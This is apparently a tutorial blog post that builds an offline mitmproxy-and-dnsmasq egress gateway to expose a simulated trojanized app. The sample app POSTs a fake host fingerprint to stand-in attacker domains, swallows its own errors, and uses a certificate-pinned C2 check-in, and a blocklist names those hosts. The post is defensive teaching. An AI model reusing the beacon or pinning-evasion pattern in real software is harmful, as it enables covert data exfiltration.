Is That App You Just Installed Phoning Home? Build a mitmproxy egress gateway that finds out
You download a free utility. It installs, it opens, it does the thing it promised. What you can’t see is the second conversation it’s having: the update check to the vendor, sure — but also a POST to a domain the vendor doesn’t own, and one more connection that nobody’s proxy can open.
That shape is the whole story of this summer’s trojanized-installer wave. QuickFox VPN installers shipped backdoored for a year, phoning home to a lookalike domain. Fake download sites for popular apps handed out installers that took over the machine. A fake 7-Zip campaign spread across 230+ lookalike domains and turned home PCs into residential proxy nodes. In every case the software worked — and in every case the tell was identical: the installed app quietly contacting infrastructure the vendor had nothing to do with.
“What is this binary talking to?” is therefore a defensive skill worth having, and you can answer it with open-source parts. This lab builds an egress-inspection gateway — mitmproxy in transparent mode plus a DNS-logging dnsmasq — and routes a deliberately uncooperative “downloaded app” through it without the app being configured to use a proxy. An analyzer then correlates the three layers of evidence the gateway produces (DNS, TLS SNI, decrypted HTTP), checks every hostname against a threat-intel blocklist, and prints a per-domain verdict. Everything runs offline in Docker; nothing reaches the real internet, and the only “secret” that leaks is an obviously fake canary. Every code block below is copied verbatim from the lab.
Three layers of egress visibility
Before the plumbing, the mental model. When an app reaches out over HTTPS, there are three places you can stand and watch, and each one sees something different:
| Layer | Produced by | What it tells you | What it can’t |
|---|---|---|---|
| DNS | dnsmasq log-queries | every hostname the app looked up | whether it connected, or what it sent |
| TLS SNI | mitmproxy tls_clienthello hook | every hostname the app opened a TLS connection to, even ones it later refused | the request contents |
| Decrypted HTTP | mitmproxy request hook | method, path, headers, full body | nothing — but only works where the app trusts the gateway CA |
The layers fail independently, which is the point of collecting all three. An app can skip DNS by connecting to a hard-coded IP — SNI still names it. It can pin its certificate so the proxy can’t decrypt — DNS and SNI still name it. The deeper layers tell you what left the machine; the shallower ones always tell you where it went. Hold onto that distinction; the pinned connection at the end of this post lives entirely on it.
The suspect
The “freshly downloaded app” is a small Node.js program that does four things in order, each in its own file so you can see how little code the bad behaviour takes.
labs/lab-app-egress-audit/suspect-app/src/index.ts:
// The "freshly downloaded app". Four steps, in order:
// 1. a legitimate update check (the cover story) -> egress/updateCheck.ts
// 2. build a host fingerprint (fake, see SAFETY) -> fingerprint.ts
// 3. covertly POST it to two attacker domains -> egress/beacon.ts
// 4. a certificate-pinned C2 check-in that refuses
// to talk through any interceptor -> egress/pinned.ts
// Steps 2-4 are the suspicious behaviour the gateway is meant to expose.
async function main(): Promise<void> {
const cfg = loadConfig(process.env);
const fingerprint = buildFingerprint();
await checkForUpdate(cfg, logger);
for (const url of cfg.beaconUrls) {
await sendBeacon(url, fingerprint, logger);
}
await pinnedCheckin(cfg, logger);
# ...
}
Step 1 is the cover story — GET https://updates.goodvendor.lab/version,
which any honest app does. Step 2 is the data spyware harvests about a
machine: hostname, user, OS build. In the lab it is four string literals and
reads nothing from your host.
labs/lab-app-egress-audit/suspect-app/src/fingerprint.ts:
export function buildFingerprint(): HostFingerprint {
return {
host: "LAB-CANARY-NOT-A-REAL-HOST",
user: "labuser",
osBuild: "lab-os-0",
fingerprint: "FAKE-FP-000-lab-only",
};
}
Step 3 is the exfiltration: an ordinary HTTPS POST of that object to two
domains with innocent-sounding names, cdn-metrics.tracklab.lab and
telemetry.adnexus.lab. One detail makes it faithful to the real thing rather
than a caricature:
labs/lab-app-egress-audit/suspect-app/src/egress/beacon.ts:
export async function sendBeacon(
url: string,
fingerprint: HostFingerprint,
logger: Logger,
): Promise<void> {
const payload = JSON.stringify(fingerprint);
try {
logger.info({ url }, "Beaconing host fingerprint...");
await post(url, payload);
logger.info({ url }, "Beaconing host fingerprint succeeded.");
} catch (err) {
// Spyware never lets itself crash the host application — that would get
// it noticed. Swallow the failure and try the next sink. Compare with
// updateCheck.ts, which throws on failure like honest code does.
logger.warn({ err, url }, "Beaconing host fingerprint failed.");
}
}
The beacon swallows its own errors. Real spyware never crashes the application it rides in — a crash gets noticed. The update check, by contrast, throws loudly on failure like honest code does. Step 4, the pinned connection, gets its own section below.
Build the gateway
The core of the lab is one container built from the official
mitmproxy/mitmproxy image with iptables added. Its entrypoint does two
things: bend traffic into mitmproxy, then run mitmproxy in a mode that accepts
bent traffic.
labs/lab-app-egress-audit/gateway/entrypoint.sh:
MITM_UID="$(id -u mitmproxy)"
iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner "$MITM_UID" -j RETURN
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080
# ...
exec runuser -u mitmproxy -- mitmdump \
--mode transparent \
--showhost \
--ssl-insecure \
--set connection_strategy=lazy \
--set confdir=/certs \
-s /addon/capture.py \
-q
Read the rules top to bottom, the way the kernel does. The first exempts
packets owned by the mitmproxy user — those are mitmproxy’s own upstream
connections to the real server, which also go to port 443; without the
exemption they’d be redirected back into mitmproxy forever. That rule is why
the entrypoint drops privileges with runuser instead of running as root. The
second and third rules rewrite the destination of every other TCP packet bound
for port 80 or 443 to local port 8080, where mitmproxy listens. The sending
process is not told. Its socket still believes it is connected to the original
host.
That is what --mode transparent is for. Normally a client is configured to
use a proxy and sends it CONNECT host:443, so the proxy knows where traffic
is meant to go. An uncooperative app won’t do that. In transparent mode
mitmproxy accepts connections iptables has silently redirected to it and
recovers the original destination from the kernel via SO_ORIGINAL_DST.
Two flags deserve a word. --set confdir=/certs puts the CA mitmproxy
generates on first start onto a shared volume, so the suspect app can be made
to trust it. And connection_strategy=lazy tells mitmproxy to finish the TLS
handshake with the client before contacting upstream. That ordering is what
guarantees we record the SNI and present our forged certificate even to a
client that is about to refuse it — without it, the pinned connection would
never reach our hooks at all.
Routing an app through it that was never told about a proxy
The proposal’s plan was a separate gateway container that the app default-routes
through, with a PREROUTING redirect on the gateway. On Docker Desktop that
didn’t deliver: packets the app routed to the gateway, destined for another
container, never reached the gateway’s PREROUTING chain at all. So the lab
ships the pattern mitmproxy’s own documentation uses for local redirection,
which needs no inter-container routing. Two lines of compose:
labs/lab-app-egress-audit/docker-compose.yml:
suspect-app:
build: ./suspect-app
network_mode: "service:gateway"
environment:
DNS_IP: 10.10.0.3
volumes:
- certs:/certs
depends_on:
dns:
condition: service_healthy
webhost:
condition: service_healthy
gateway:
condition: service_healthy
network_mode: service:gateway puts the suspect app in the same network
namespace as the gateway: same interfaces, same IP, same routing table — and,
crucially, the same iptables rules. When the app calls connect(), the packet
is born inside the gateway’s namespace, hits nat/OUTPUT, and is redirected.
There is no second hop and no proxy setting to discover.
A container that borrows another’s namespace can’t declare its own networks
or dns, and loses Docker’s embedded DNS for service names. So the app’s
entrypoint does the remaining two pieces of setup by hand:
labs/lab-app-egress-audit/suspect-app/entrypoint.sh:
echo "nameserver ${DNS_IP:-10.10.0.3}" > /etc/resolv.conf
# ...
export NODE_EXTRA_CA_CERTS="${MITM_CA_PATH:-/certs/mitmproxy-ca-cert.pem}"
exec npm start
The first line points the resolver at dnsmasq, which answers every *.lab
name with the webhost’s IP and writes every query to a log on a shared volume.
That’s the DNS layer.
labs/lab-app-egress-audit/dns/dnsmasq.conf:
no-resolv
no-hosts
# ...
address=/lab/10.10.0.10
# ...
log-queries
log-facility=/var/log/dns/queries.log
The second line adds the gateway’s CA to Node’s trust store. This is the lab
equivalent of the step a real egress gateway needs in a fleet — pushing the
proxy CA out via MDM or group policy. Without it, every connection would refuse
the forged certificate and you would only ever see SNI. Note what the
entrypoint does not do: set HTTPS_PROXY, touch any app config, or change
the app’s code. From inside the app, everything looks like a direct connection.
Catching it in the act
mitmproxy’s addon API hands you lifecycle events; the gateway loads one Python file with three handlers, one per visibility layer, each appending a JSON line to a capture file the analyzer reads later.
labs/lab-app-egress-audit/gateway/capture.py:
class Capture:
def __init__(self):
# tls_failed_client only identifies the client connection, not the
# hostname, so remember each connection's SNI to attribute failures.
self._sni_by_client = {}
def tls_clienthello(self, data):
sni = data.client_hello.sni
self._sni_by_client[data.context.client.id] = sni
_write({"event": "clienthello", "sni": sni})
def request(self, flow):
# Reached only if the client completed TLS with us, i.e. trusted our CA.
# pretty_host prefers the Host header / SNI over the raw destination IP.
_write(
{
"event": "request",
"host": flow.request.pretty_host,
"method": flow.request.method,
"path": flow.request.path,
"body": flow.request.get_text(strict=False),
}
)
def tls_failed_client(self, data):
# The client saw our forged cert and hung up: the signature of pinning.
sni = self._sni_by_client.get(data.context.client.id)
_write({"event": "tls_failed_client", "sni": sni})
Follow the second beacon through it. Node looks up telemetry.adnexus.lab;
dnsmasq logs query[A] telemetry.adnexus.lab from 10.10.0.2 and answers with
the webhost’s address. Node opens TCP to port 443; the kernel rewrites the
destination to mitmproxy. Node sends a ClientHello with
SNI=telemetry.adnexus.lab; tls_clienthello fires and the SNI is written
down. mitmproxy mints a leaf certificate for that name signed by its CA and
completes the handshake — Node checks the chain against a trust store that now
includes that CA, and accepts. The app sends POST /collect with the
fingerprint as its body; request fires and the full plaintext, body included,
is written down. Only then does mitmproxy open its own connection to the
webhost — as the mitmproxy user, so the owner rule lets it through — relay
the {"ok":true}, and the app logs that its beacon succeeded. None the wiser.
The covert POST, decrypted, ends up in the report as a payload string that
contains FAKE-FP-000-lab-only. That’s the undeniable part of the finding: not
just that the app talked to a bad domain, but what it said.
The pinned connection: when you can’t see inside
Now the fourth step. The app reads the vendor’s real certificate from a shared
volume, computes its SHA-256 fingerprint, and hands Node a custom
checkServerIdentity callback.
labs/lab-app-egress-audit/suspect-app/src/egress/pinned.ts:
export function makeServerIdentityCheck(
expectedFingerprint: string,
): (host: string, cert: { fingerprint256?: string }) => Error | undefined {
return (_host, cert) => {
if (cert.fingerprint256 && cert.fingerprint256 === expectedFingerprint) {
return undefined;
}
return new Error(
`certificate pin mismatch: expected ${expectedFingerprint}, got ${cert.fingerprint256 ?? "none"}`,
);
};
}
export async function pinnedCheckin(cfg: SuspectConfig, logger: Logger): Promise<void> {
const expected = fingerprint256(readFileSync(cfg.pinnedCertPath, "utf8"));
const check = makeServerIdentityCheck(expected);
try {
logger.info({ url: cfg.pinnedUrl }, "Opening pinned connection...");
await new Promise<void>((resolve, reject) => {
const req = https.request(
cfg.pinnedUrl,
{ method: "POST", checkServerIdentity: check, timeout: 5000 },
# ...
);
# ...
});
logger.warn({ url: cfg.pinnedUrl }, "Pinned connection succeeded (no interception).");
} catch (err) {
// A real pinned C2 client stays quiet when it cannot verify its server:
// from the malware's point of view, a failed pin means "someone is
// watching", so it backs off rather than reveal itself. (Hence success is
// logged at `warn` above and failure at `info` here.)
logger.info({ err, url: cfg.pinnedUrl }, "Pinned connection refused the presented certificate.");
}
}
Node calls that callback during the handshake with whatever certificate the
server presented. Under interception, the “server” is mitmproxy presenting a
forged leaf. The chain would validate — the CA is trusted — but the fingerprint
doesn’t match the webhost’s real certificate, so the callback returns an
Error, Node aborts the handshake, and no HTTP request is ever sent. The
private key that would let mitmproxy forge a matching certificate never
leaves the webhost container; that is what makes the pin meaningful.
Malware authors pin for exactly this reason: so network defenders cannot read
the C2 conversation. And on the gateway, it looks like this: tls_clienthello
fired (we have the SNI: pin.evil-c2.lab), then tls_failed_client fired (the
client hung up on our certificate), and request never did. The addon’s little
_sni_by_client map is the bridge that lets the report say “pin.evil-c2.lab
was contacted and refused our certificate” rather than “some connection
failed.”
Here is the thing to internalize: that is not a dead end. Pinning defeats payload inspection. It does nothing to hide where the app connected — the DNS log and the SNI both name the destination — and actively refusing inspection is itself unusual behaviour for a “free utility.” An opaque connection to an unknown domain is a finding.
Verdicts at scale
Observing answers “what did the app talk to?” A threat-intel feed answers “is
that bad?” The lab commits a snapshot in the hosts format that feeds like
URLhaus publish — <ip> <hostname> per line, the syntax of /etc/hosts, so the
file can be dropped onto a Pi-hole to sinkhole everything on it.
labs/lab-app-egress-audit/threat-intel/blocklist.hosts:
# --- seeded lab malware infrastructure ---
0.0.0.0 cdn-metrics.tracklab.lab
0.0.0.0 telemetry.adnexus.lab
0.0.0.0 pin.evil-c2.lab
# ...
Note what’s not on it: updates.goodvendor.lab. The analyzer reads the DNS
log, the capture file, and the blocklist — all read-only, and it never touches
the network — and builds one row per hostname seen in either DNS or the
capture.
labs/lab-app-egress-audit/analyzer/src/report.ts:
// The deepest visibility layer reached for a host: a decrypted request beats
// a bare SNI, which beats a name that was merely looked up in DNS.
function layerOf(ev: HostEvidence | undefined): DomainVerdict["evidenceLayer"] {
if (ev?.decrypted) return "decrypted HTTP";
if (ev?.sniSeen) return "SNI-only";
return "DNS-only";
}
# ...
for (const fqdn of fqdns) {
const ev = evidence.get(fqdn);
domains.push({
fqdn,
verdict: isBlocked(fqdn, blocklist) ? "malicious" : "clean",
evidenceLayer: layerOf(ev),
opaque: Boolean(ev && !ev.decrypted && ev.tlsFailed),
...(ev?.payload ? { payload: ev.payload } : {}),
});
}
The verdict comes purely from the blocklist, by exact FQDN, case-insensitive.
The evidence layer says how deep we got. And opaque is the pinning flag: we
saw the SNI, the client then aborted the handshake, and nothing was ever
decrypted. Run ./e2e.sh and the analyzer prints this:
| FQDN | Verdict | Evidence layer | What it means |
|---|---|---|---|
updates.goodvendor.lab | clean | decrypted HTTP | the legit update check — visible and benign |
cdn-metrics.tracklab.lab | malicious | decrypted HTTP | covert beacon, host fingerprint captured in full |
telemetry.adnexus.lab | malicious | decrypted HTTP | second covert beacon, same fingerprint payload |
pin.evil-c2.lab | malicious | SNI-only (opaque) | certificate-pinned — we see where, not what |
Four rows, four different stories. The beacons are caught by content and by
destination — either alone would be enough, but the decrypted payload is what
tells you what was stolen. The C2 host is caught by destination alone. The
vendor is present and clean, so you see the app’s full footprint rather than
just the bad parts. And the e2e.sh gate asserts all of it deterministically,
including that nothing outside the seeded three is flagged — a guard against
false positives, not just misses.
What carries over
The lab is a teaching rig, but the technique is the real one:
- Make interception a property of the network, not the app. Kernel-level redirect plus transparent mode catches software that was never configured to use a proxy and wouldn’t honour the setting if it were.
- Collect all three layers, and read them as a hierarchy. Decrypted HTTP tells you what left. SNI tells you where, even when the payload is locked. DNS tells you what the app wanted to reach, even if it never connected. Each layer you add removes a way to hide.
- Treat refusal as signal. A pinned connection to an unknown domain is not “no data” — it’s a destination plus a behaviour, and both are suspicious.
- Match names, not just payloads. Blocklist matching on FQDNs works at every layer, including the ones you can’t decrypt. In production, swap the committed snapshot for the live URLhaus feed; the analyzer code doesn’t change.
Two honest limits. First, this is an audit, not an enforcement point — nothing
is blocked. Turning it into one is a small step (mitmproxy’s request hook can
kill a blocklisted flow; dnsmasq can sinkhole a name with one address= line),
and it’s a natural follow-up. Second, the layers have a floor. An app that uses
Encrypted Client Hello hides its SNI, and one that also resolves over
DNS-over-HTTPS hides its lookups — at which point you are down to destination
IPs and traffic volumes, which is a real and current limit of this technique.
But for the trojanized-installer class that made the news this summer — apps
that beacon to lookalike domains over ordinary HTTPS — a gateway like this one
shows you exactly what your new free tool is saying, and to whom. The full
build is in the
lab README.